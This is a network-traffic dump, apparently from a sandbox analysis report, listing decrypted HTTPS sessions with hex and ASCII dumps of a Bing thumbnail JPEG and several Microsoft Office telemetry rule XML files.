2024-12-08 16:45:46 UTC	16384	IN	Data Raw: ff 00 8d 7d 05 f0 8b c1 f6 fa 7d 8e a3 e2 8d 7e c2 39 ec 60 b4 76 11 5c c2 c8 4c a5 95 43 95 39 2a 00 1c 03 cf 3f 4a d8 f8 89 a8 bc ba 39 83 44 bd 85 03 c0 92 cc a2 dc 0d e4 c9 80 02 8e 01 00 63 3d 06 0d 79 f3 cc 23 46 7c bc ba 75 2d e5 fc f1 e6 72 77 39 18 9f c2 9a 26 92 ba 75 91 37 ba 84 ab b9 a3 8a e0 f9 76 f3 3a a8 75 6e 30 57 38 04 8e 32 3a 90 29 3f e1 23 d4 05 d7 f6 7e 92 96 b7 56 73 5b 19 84 b7 8b b0 45 b0 07 3b 00 cb 15 5d a4 e5 b1 da b9 eb 4d 46 3b ad 79 96 6d d6 e8 a1 12 52 62 25 5b e6 39 de 01 c8 00 f3 8c 8c 7b 56 4e a1 e3 1b 2b 47 68 ad 74 a5 b9 9e 48 4c 13 10 e7 13 86 20 61 d4 1c 60 81 d3 24 e3 1f 4a e6 f6 32 96 89 5f fa f9 1a 4f 13 18 af 8a c6 5f 8b 35 14 d5 b4 db 98 61 9e d5 c2 dc 82 44 a4 a9 9c b1 27 72 f2 42 e3 a0 1d 71 cd 73 77 1a 55 d2 Data Ascii: }}~9`v\LC9*?J9Dc=y#F\|u-rw9&u7v:un0W82:)?#~Vs[E;]MF;ymRb%[9{VN+GhtHL a`$J2_O_5aD'rBqswU
2024-12-08 16:45:46 UTC	16067	IN	Data Raw: 2d c8 ca cb 24 27 0a e7 1c e7 a1 07 d4 9e f5 a5 39 2e 66 ac 73 d4 a7 7d b7 3f 6e 68 a3 06 8c 1a 40 14 51 45 00 14 da 75 14 00 da 29 d4 50 3b 8d a2 9d 81 48 45 01 71 28 a3 06 86 eb 40 c2 8a 28 a0 02 8a 30 68 a0 02 8a 31 de 8a 00 28 a2 8a 00 30 29 31 4b 45 00 26 29 30 69 d4 50 03 68 a7 60 52 62 80 12 8a 28 a7 71 dc 28 a2 8a 2e 17 0a 28 c7 a5 2e 29 85 c4 a2 8c 1a 30 68 0b 86 05 18 14 60 d1 40 5c 30 29 31 4b 45 01 71 31 49 83 4e a2 9d c2 e3 68 a7 60 51 81 4e e3 1b 45 3b 02 90 8a 2e 02 51 4b 8a 4c 1a 00 30 29 31 4b 83 45 00 26 29 29 d4 50 3b 8d a3 06 9d 81 46 05 01 71 b4 11 9a 5c 51 8a 06 37 14 62 96 8a 00 6d 14 ea 30 29 dc 06 e0 52 62 97 06 8a 2e 03 70 68 a7 11 9a 31 e9 4c 77 1b 81 48 45 3b 14 98 34 0e e3 70 68 a7 11 43 74 a0 77 1a 45 26 29 d8 a4 a0 63 70 68 Data Ascii: -$'9.fs}?nh@QEu)P;HEq(@(0h1(0)1KE&)0iPh`Rb(q(.(.)0h`@\0)1KEq1INh`QNE;.QKL0)1KE&))P;Fq\Q7bm0)Rb.ph1LwHE;4phCtwE&)cph
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: cf 4f af 1c 54 4b 05 f5 92 ad fa 06 68 1d 9d 56 45 e0 f4 19 ce 79 c1 0c 39 c7 34 e1 3e 1a 56 b8 58 98 4b 93 07 f0 ae ee ec 47 52 00 ed df 8f 7a ea 3c 29 65 61 7b e1 d9 f5 7b dd 5f 4b 8d 60 f9 4d a5 e4 ac 1a 78 8f ca 63 2a b8 60 c0 e1 d4 e7 07 f5 ae 87 2e 55 7b 19 42 9a 9b b2 7a 90 8f ed 6d 57 c3 cd 0d a5 96 99 a7 c7 63 30 92 e2 f2 30 52 e0 b7 96 14 31 6c 82 03 2b 0f 94 0c 1e be a6 a0 b8 d4 67 1a 24 5a 2d aa 2a 47 66 aa 2f 64 b4 cb 09 d0 b0 21 98 12 54 38 24 0d df 4f 5a 65 f5 d5 fe af ab 49 61 11 8d 56 ee 48 ed a0 9e 58 c6 f5 58 c6 c0 18 26 42 9c 1e 4f 40 7d 30 6b 7f c3 6e fe 1a f0 fd dc d6 69 2d fb 5d 09 34 bb d9 e2 82 39 21 b0 91 4e e1 b2 4c ed 97 20 6e 18 3c 0f 5e 95 84 a4 d2 34 7a ca c9 bb 75 7f d7 c8 82 1b 9f f8 44 bc 47 6a 92 dd fd 83 ee 4b e6 4a 0b Data Ascii: OTKhVEy94>VXKGRz<)ea{{_K`Mxc`.U{BzmWc00R1l+g$Z-Gf/d!T8$OZeIaVHXX&BO@}0kni-]49!NL n<^4zuDGjKJ
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 06 08 fc 80 d9 ea de b5 a1 34 57 13 2a f9 1b 8a 5d 4a 15 c8 20 b6 ee b9 38 e0 01 d6 a2 bd 8a 2b 37 8a de 28 9a 60 9f 33 b0 04 12 0f 40 41 e9 8c e3 1c d6 cf 86 a4 b7 b6 91 64 88 f9 ca 08 51 12 9f 99 4e 49 00 8e a4 82 3e a7 26 b6 9c d2 8d d2 39 69 c6 ef 95 b2 a4 3a 6a 58 07 d3 e5 71 3b 4d 37 97 2c ef 1e 12 2e 72 14 93 d7 3d 38 ed 5a 1a 82 59 da 58 35 c2 cb 24 a1 a3 58 ed 81 88 6d 54 04 8e fd 0e 7d 85 58 d4 9d 2c b4 e6 bb bd 91 65 12 02 ea b8 2c 65 27 aa 80 39 e0 f5 24 f0 2b 2f 45 92 eb 56 98 c1 3a c9 9b b5 2f 1c b2 64 c7 19 e7 90 07 ca 06 38 00 f4 c1 ae 7e 69 54 5c cd e8 8d 1a 51 f7 56 ec c7 bf b8 1a 86 a1 14 29 6f 22 47 14 21 11 36 e0 24 4a 32 5b 1d 49 ef d7 9a e8 2d ee 92 18 63 69 71 72 c1 4c f6 a8 e7 6f ca 78 52 c3 b9 38 07 07 f5 cd 61 ea 2d 69 a7 b1 68 Data Ascii: 4W*]J 8+7(`3@AdQNI>&9i:jXq;M7,.r=8ZYX5$XmT}X,e,e'9$+/EV:/d8~iT\QV)o"G!6$J2[I-ciqrLoxR8a-ih

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49830	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:45 UTC	346	OUT	GET /th?id=OADD2.10239340418601_1XRLHD1YRS9ZZSDWX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:46 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 453802 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B7803ADBC61D4C63A4D3D3A771AC00CF Ref B: EWR311000105023 Ref C: 2024-12-08T16:45:46Z Date: Sun, 08 Dec 2024 16:45:45 GMT Connection: close
2024-12-08 16:45:46 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 30 3a 35 33 3a 35 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 00:53:538C
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 00 14 9d 69 cd ef 46 28 01 29 31 4b 45 00 36 8c 66 9d 48 d4 00 98 f6 a6 d3 bf 86 8a 00 6d 14 51 40 03 51 45 14 00 53 58 0d ad 9a 75 36 80 3e 64 fd a9 34 99 1f c4 53 eb 96 d6 77 b6 aa bb 76 c8 d9 df b1 be 55 57 c7 dc dd b5 8a a9 27 e4 03 8a f3 0f 0d ea 26 e7 58 81 2e 2f 3c a9 5b ee b6 dd aa a5 46 54 e5 7a 7e 15 f6 27 c5 cf b4 8f 06 df 49 2e 9b 63 a8 58 c7 6d 20 58 de 37 92 e1 65 61 b4 32 28 e3 9e 9e b8 af 98 b4 9f 01 db ea 1a 1e ae 20 db 3e bb 3b 47 16 97 a7 c1 26 d3 19 32 7c fb d7 bf cb c0 04 f1 d7 d2 bc fc 55 24 ea 5b b9 d3 19 b4 94 91 d0 7c 37 f8 8d 2e 8d aa 58 c9 e2 9d 31 7c 47 61 a7 7c eb 06 a0 de 61 8c 39 dc c2 22 d9 0a 49 c6 72 0d 74 9f 11 b4 6f 04 78 a7 e1 2a f8 c7 40 b9 d2 ec fc 49 3c 6d 25 ee 93 6c ce f3 2e d9 1d 9d ca f4 50 17 1c 91 81 c0 1c 9a Data Ascii: iF()1KE6fHmQ@QESXu6>d4SwvUW'&X./<[FTz~'I.cXm X7ea2( >;G&2\|U$[\|7.X1\|Ga\|a9"Irtox*@I<m%l.P
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: a5 66 52 76 f4 3a 8d 7b 46 f1 0f 87 ef af 34 0f 07 ea 17 da 87 87 75 25 59 d7 50 fb 33 d9 db de 18 a3 12 3c 8b e6 10 76 a6 78 3d fb 75 15 c0 de 5d 7d be ce 3b 21 6d 04 ac ae 1d ae f6 95 38 c6 36 16 fe e8 eb d3 24 fa d7 d0 df 1a bc 0f 73 a5 f8 4f 4e f1 06 b1 e1 9d 4a df c3 ad 1d b1 b9 8a ef 52 fb 4d e5 d3 88 b6 a0 79 d7 22 da 27 3b 4f 96 39 f9 07 e1 e1 ba ad fd a2 df 41 35 e6 9f 1e d5 60 5a d2 d2 4f 26 3e 07 40 dc 9f 43 9e 79 ac aa 5e 15 79 59 ad 93 8d cc 59 3c 3f aa c5 aa 7d 8c 2a ad d4 6c 06 d5 90 6f c9 1c 60 fd 3f 2a f5 5d 1b 5a f0 e6 a1 e0 55 f0 df c4 4b 9b 6b c8 f4 b8 a2 87 48 9e c7 09 75 a7 c7 cb 49 0a 6e 00 38 2d d4 93 d5 b3 ce da f3 dd 11 67 5b 79 75 9b 3b c8 e3 68 a7 cc 90 4a a5 f9 f4 3e c6 a2 d4 2c 52 ea 19 ef ed 25 8e 38 d6 42 15 59 be 66 20 64 Data Ascii: fRv:{F4u%YP3<vx=u]};!m86$sONJRMy"';O9A5`ZO&>@Cy^yYY<?}lo`?]ZUKkHuIn8-g[yu;hJ>,R%8BYf d
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: fd e7 da 06 e7 c7 7e 7a d6 ef 8c e2 93 51 b8 9c 78 62 ce 3d 3c d9 ca 51 64 da 3f 85 37 ba fc a3 e6 25 71 ed d7 9a 86 48 20 bb d1 f4 9d 70 5b 58 c5 6d 2c 19 6f 36 43 bb cf 07 1f 36 01 e7 1f 36 3d 2a 96 25 f2 a9 4d 7b ad ed e6 4c a8 f4 4f de 5d 7c 8a fa 83 96 f0 bc 77 11 34 92 19 62 52 cd b7 06 37 23 19 c7 d7 f2 cd 15 a7 65 a6 ea 1a a5 af 9b 79 72 b6 ad 6d 11 78 a1 8d 42 b4 91 9f 9c 10 49 c7 3d 4f a5 15 9d 3a d4 6d 69 3d 4d 9d 1a 93 49 d8 fb c7 14 11 4b 45 7d 91 f3 63 68 a7 63 da 93 14 00 ca 29 e4 52 35 00 35 85 14 ea 6d 00 23 52 63 da 9d 46 3d a8 0e a3 69 31 4e c6 69 68 01 98 a4 a7 63 da 8a 00 6d 23 53 e9 31 40 ac 25 26 29 71 ed 45 3b 88 6d 18 f6 a7 74 a2 90 f6 23 a2 9d 45 01 b8 da 29 d4 98 a0 42 53 7a 53 a8 c7 b5 3b 80 da 29 71 46 28 b8 0d c5 25 3a 8a 2e Data Ascii: ~zQxb=<Qd?7%qH p[Xm,o6C66=*%M{LO]\|w4bR7#eyrmxBI=O:mi=MIKE}chc)R55m#RcF=i1Nihcm#S1@%&)qE;mt#E)BSzS;)qF(%:.
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: f8 71 6f 1e 81 69 aa dc e9 57 11 b1 f2 ec a7 8f 62 ae f7 da d2 c5 22 e7 81 d4 b9 e9 57 19 46 1f bc 9f c2 82 10 a9 37 cb 05 76 7b e6 b5 f1 4f 44 f8 29 f0 9f 4f b7 92 f3 50 be d7 af ad 04 f1 40 d1 c4 d6 f9 25 d6 14 95 88 dc aa 91 a8 da 9d 76 fa 66 bc 5e f3 fe 16 0f 8f 23 b7 b8 d6 2c 6e ed b5 2d 42 5f 32 f6 59 2d 8c 6e d1 b7 cc 90 40 a4 12 7e 52 a7 1e 86 ab 5a db 47 e1 cd 3e c6 fe 7d 71 a2 d6 63 dd 22 ea f7 30 0b c6 87 cd 38 69 16 37 e0 b0 5f 95 49 fc 31 5e 95 f0 a7 59 7f 17 fc 44 d2 b4 ff 00 0b de 6b 36 d7 36 96 92 95 9e ee d0 23 dc 3a a6 f2 e8 b9 3f eb 0e 72 d9 e9 ed 8a e1 a9 5a 9e 36 2a 10 5a 26 7a 94 e9 cb 08 db 97 55 73 9e 87 e1 d7 89 3c 33 a1 da a5 cc 0b 38 56 32 41 7a d2 22 99 0e 0f 0e c3 b7 5e 09 f5 aa 3f 0d 7e 0b 78 87 c7 1e 32 d5 65 b2 d4 23 b6 b0 Data Ascii: qoiWb"WF7v{OD)OP@%vf^#,n-B_2Y-n@~RZG>}qc"08i7_I1^YDk66#:?rZ6*Z&zUs<38V2Az"^?~x2e#
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: ed 23 fd 1a 3b 66 8a 3b 55 f9 59 97 6a aa 1e 7e 5f 4f eb 4b e1 fb cb 9d 3e e9 af 74 8b 1f 35 67 51 0f 97 b7 63 29 27 e5 1f ec 8c f3 c5 36 fa c6 fe db 56 9e e7 57 bc fb 65 da a0 12 47 0c 86 44 86 33 c9 27 b6 05 65 18 a5 59 4a ff 00 23 aa 32 fd cf 2d b5 7d 4c bd 3f 51 d4 34 88 63 b8 8a 76 8e 4f 28 ec fe ee 0f 50 7b 9c 8a a7 af 5e 49 2e b1 3c a6 06 8f ed 4c b3 6c 8f fe 59 83 cf 53 cf bd 6c d8 0d 32 6b 59 0e a2 de 7c d2 3b 79 4d 17 4c 0f ba 3e 87 26 b2 bc 49 34 b1 cd 1c 56 f0 46 bb 63 03 72 fd f6 e7 ab 66 ba 60 ef 3d b5 39 aa 26 a1 be 84 5a ad 85 b4 93 2d cd e2 fd 94 49 8d b1 f5 91 b3 d0 af 6c 7f 2a a3 79 3c 90 d9 c9 6c 7c b8 83 61 f7 7d e7 5e dd 7d eb aa f3 af 35 cf 0d ac 5a 8e 9f e5 5c c1 81 6d 3c 7f f2 d0 20 fb a5 7a e7 df a1 35 91 a8 43 04 1e 19 c3 c1 b6 Data Ascii: #;f;UYj~_OK>t5gQc)'6VWeGD3'eYJ#2-}L?Q4cvO(P{^I.<LlYSl2kY\|;yML>&I4VFcrf`=9&Z-Il*y<l\|a}^}5Z\m< z5C
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 7b 52 62 9d 8a 3a d0 03 5a 91 85 3b 1e d4 84 50 02 51 4a 45 23 50 03 5a 8a 75 26 28 01 94 63 da 9d 4d a0 56 06 14 98 a7 35 18 a7 70 b0 cc 7b 51 8f 6a 75 26 28 b8 58 6e 29 31 ed 52 53 71 ed 45 c2 c3 71 ed 48 c2 9e c2 93 14 c5 61 98 f6 a3 1e d4 ec 7b 50 d4 00 c6 14 8c 2a 4a 6d 00 37 1e d4 98 a7 62 86 14 00 cc 7b 52 63 14 fc 7b 51 40 0c c5 26 3d a9 f8 a4 c7 b5 00 37 1e d4 98 a7 62 8c 50 03 28 61 4e f9 69 31 40 0c a5 6a 76 29 94 ee 2b 05 36 9f 8a 46 14 5c 2c 26 29 1a 9d 8f 6a 28 b8 58 8e 95 a9 69 b4 5c 41 45 2e 29 29 00 53 69 d4 50 03 71 ed 4d a7 51 40 0d a4 c5 2d 0d 40 09 8a 4a 5c 52 d3 b8 0d a6 d3 a8 eb 45 c5 61 b4 51 45 31 08 d4 b4 51 40 0d a6 d4 94 da 00 6d 14 ea 46 a0 04 a8 2f d6 e0 db e6 d1 95 65 5e 55 64 5d cb 20 1d 57 f1 f5 ec 6a 7a 31 9a 00 cd f0 e6 Data Ascii: {Rb:Z;PQJE#PZu&(cMV5p{Qju&(Xn)1RSqEqHa{P*Jm7b{Rc{Q@&=7bP(aNi1@jv)+6F\,&)j(Xi\AE.))SiPqMQ@-@J\REaQE1Q@mF/e^Ud] Wjz1
2024-12-08 16:45:46 UTC	16069	IN	Data Raw: d4 50 03 31 46 05 2d 0c 28 01 b4 8c 29 d8 a5 a0 08 f1 ed 46 3d a9 d4 da 35 01 31 8a 46 a7 51 4e e0 31 86 69 2a 4a 6b 0a 2e 03 5a 93 ad 3b 14 62 8b a0 19 4d a9 1a 8a 2e 03 1a 91 bf f1 da 76 3d a8 61 45 c0 66 29 68 c7 b5 18 f6 a2 e0 33 14 35 3e 9b 4c 56 1b 45 2e 29 18 50 20 a6 b5 3a 93 19 a7 70 19 4b fc 54 b4 66 8b 80 d6 07 14 51 46 3d a8 b8 0c c5 25 3f 14 62 8b a1 58 65 14 ea 6d 31 0d 61 4d a9 31 ed 49 8a 00 63 51 4e c7 b5 26 28 01 ac 0e ea 4a 76 3d a8 61 40 11 d2 e2 9d 8a 4c 7b 50 03 68 a5 c6 29 28 00 a6 e3 da 9d 45 00 36 91 a9 68 a0 56 1b 43 51 45 02 1a d4 63 da 9d 45 00 47 45 3b 1e d4 da 00 28 a2 8a 00 4c 52 63 da 95 a8 6a 00 6e 29 31 4e a3 1e d4 ee 2b 0c c7 e7 49 29 11 a3 b9 e9 1a 92 df 87 35 c3 7c 4c f8 a1 e0 ff 00 0b dd 36 99 af 6b d1 e8 f2 06 c3 7d Data Ascii: P1F-()F=51FQN1i*Jk.Z;bM.v=aEf)h35>LVE.)P :pKTfQF=%?bXem1aM1IcQN&(Jv=a@L{Ph)(E6hVCQEcEGE;(LRcjn)1N+I)5\|L6k}
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 86 2b aa f8 77 6a 9a b4 d7 da 4b ac 91 ff 00 69 5a 37 94 ab 3e c4 f3 10 6e 1b f3 db 8a 25 1d 0d 28 a6 df 2f 73 07 4b d4 64 b8 99 43 c0 d2 0d c1 be f6 d5 91 c7 f7 8f 6a bd 30 9a de 48 61 13 b4 9e 63 67 f7 59 dc df de fa 6d a8 b4 2b 73 6f 71 10 db 1e ed c5 24 66 f9 9a 33 e8 2a cf 8a 2c a4 8a de 3b e4 8a 78 fe d3 21 2a aa bb 51 93 18 24 01 f7 73 de b3 94 52 96 9b 07 2b 50 bb dc c8 b8 62 fa b2 c7 25 dc 9f 65 dd f7 a3 fe 20 39 e2 b6 ed e0 dd 6a b1 c5 17 97 12 c8 0b c9 e6 7f 1f 61 ec dd 2b 0a c7 4f 9e 6d c0 6e f9 7e 76 66 8f e5 c0 e9 83 db 9a e8 b5 47 df 67 6b 6e 2d a3 61 e5 8f 95 9b b8 ec 1b a1 3e f8 a8 ab f1 24 99 34 af 7d 8b b6 13 59 5a da cb 0b 79 7a 96 ef bd b9 48 11 be 7b b9 eb f4 1c 55 0b 8b 10 be 6a 5e 2d b4 f7 17 32 66 35 81 bf d5 9c e4 11 f4 e9 8a ce Data Ascii: +wjKiZ7>n%(/sKdCj0HacgYm+soq$f3,;x!Q$sR+Pb%e 9ja+Omn~vfGgkn-a>$4}YZyzH{Uj^-2f5
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 7d e5 84 9e b9 1d cf d7 ad 73 fb 1e 5b f5 67 4f b6 4d 5b 61 37 08 61 9e 09 15 59 a5 c1 56 5f e1 c7 f4 f6 a8 65 4b 26 ba 84 89 57 6b 36 24 6f ee f6 cf e2 6a 47 90 bd af ef 62 95 8e d1 ba 46 f9 7b e4 8f 6a af 15 be 6c db 0a aa f2 3e 37 33 6e 6f ca a9 47 76 73 ca 2d 3f 23 77 c3 3e 55 a5 c4 f2 8d bf 67 66 2a cc cd f2 e7 b6 3f c2 93 5c bd 02 ce ea 28 db cc 33 46 37 7c a7 6b 1c f6 f5 c7 5a 49 2c ed e0 bc 58 87 98 d1 b4 61 64 69 18 2e d3 8e c3 a6 49 f4 a8 54 c5 37 f0 f9 86 05 09 e5 ff 00 0e 33 8c f3 eb f9 d7 2b 49 cb 9f 73 a9 d5 fd df 22 31 af e7 b8 10 cb 34 8a b9 69 d4 b7 cd f7 40 1c 0e 2a dd a5 c2 a5 bc 51 1d cb 33 64 ed da 36 e0 f4 19 ad 96 b4 48 a4 8a 43 3e d2 cb 95 8d 54 32 36 3a 73 59 f7 36 e2 48 e4 96 4d aa b1 63 ee b7 0c 73 fc ab a6 35 14 d1 cd ca ef 7b Data Ascii: }s[gOM[a7aYV_eK&Wk6$ojGbF{jl>73noGvs-?#w>Ugf?\(3F7\|kZI,Xadi.IT73+Is"14i@Q3d6HC>T26:sY6HMcs5{

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:45 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164546Z-r1cf579d778qlpkrhC1EWRpfc800000006eg000000008fbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:46 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:45 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: dfbdfb26-501e-0016-5926-49181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164546Z-r1cf579d7789jf56hC1EWRu5880000000120000000002ecs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:45 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1f17df4b-601e-0050-2d03-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164546Z-r1cf579d778qgtz2hC1EWRmgks00000005pg000000005ua4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:46 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> 